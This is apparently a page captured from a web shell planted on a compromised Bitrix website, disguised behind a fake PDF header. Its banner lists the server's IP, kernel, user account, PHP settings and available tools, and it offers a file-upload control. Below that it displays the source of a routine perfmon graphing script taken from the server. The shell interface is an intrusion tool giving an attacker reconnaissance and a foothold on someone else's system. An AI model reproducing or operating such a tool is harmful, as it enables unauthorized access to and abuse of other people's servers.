%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.224.67.0 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/perfmon/admin/ |
Upload File : |
<? define("BX_SESSION_ID_CHANGE", false); define("STOP_STATISTICS", true); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); /** @global CMain $APPLICATION */ /** @global CDatabase $DB */ /** @global CUser $USER */ if (!CModule::IncludeModule('perfmon')) $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED")); $RIGHT = $APPLICATION->GetGroupRight("perfmon"); if ($RIGHT < "R") $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED")); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/img.php"); $width = intval($_GET["width"]); $max_width = COption::GetOptionInt("perfmon", "max_graph_width"); if ($width <= 0 || $width > $max_width) $width = $max_width; $height = intval($_GET["height"]); $max_height = COption::GetOptionInt("perfmon", "max_graph_height"); if ($height <= 0 || $height > $max_height) $height = $max_height; // Image init $ImageHandle = CreateImageHandle($width, $height); $arrX = array(); // X axis points $arrY = array(); // Y axis points $arExec = array(); $arResp = array(); $arPages = array(); /****************************************************** Get graph data *******************************************************/ $i = 1; $rsData = CPerfCluster::GetList(array("ID" => "ASC")); while ($ar = $rsData->Fetch()) { $arrX[] = $i; $i++; if ($_REQUEST["find_data_type"] == "PAGE_EXEC_TIME") { $arExec[] = $ar["PAGE_EXEC_TIME"]; $arrY[] = $ar["PAGE_EXEC_TIME"]; $arResp[] = $ar["PAGE_RESP_TIME"]; $arrY[] = $ar["PAGE_RESP_TIME"]; } else { $arPages[] = $ar["PAGES_PER_SECOND"]; $arrY[] = $ar["PAGES_PER_SECOND"]; } } if (count($arrX) > 1) { $arrayX = GetArrayY($arrX, $MinX, $MaxX, 10, 'N', true); // X axis grid points $arrayY = GetArrayY($arrY, $MinY, $MaxY, 10, 'Y', $_REQUEST["find_data_type"] == "PAGE_EXEC_TIME"? false: true); // Y axis grid points DrawCoordinatGrid($arrayX, $arrayY, $width, $height, $ImageHandle); if ($_REQUEST["find_data_type"] == "PAGE_EXEC_TIME") { Graf($arrX, $arExec, $ImageHandle, $MinX, $MaxX, $MinY, $MaxY, "ff0000"); Graf($arrX, $arResp, $ImageHandle, $MinX, $MaxX, $MinY, $MaxY, "0000ff"); } else { Graf($arrX, $arPages, $ImageHandle, $MinX, $MaxX, $MinY, $MaxY, "ff0000"); } } else { DrawCoordinatGrid(array(1, 2), array(0, 0), $width, $height, $ImageHandle); } /****************************************************** send image *******************************************************/ ShowImageHeader($ImageHandle);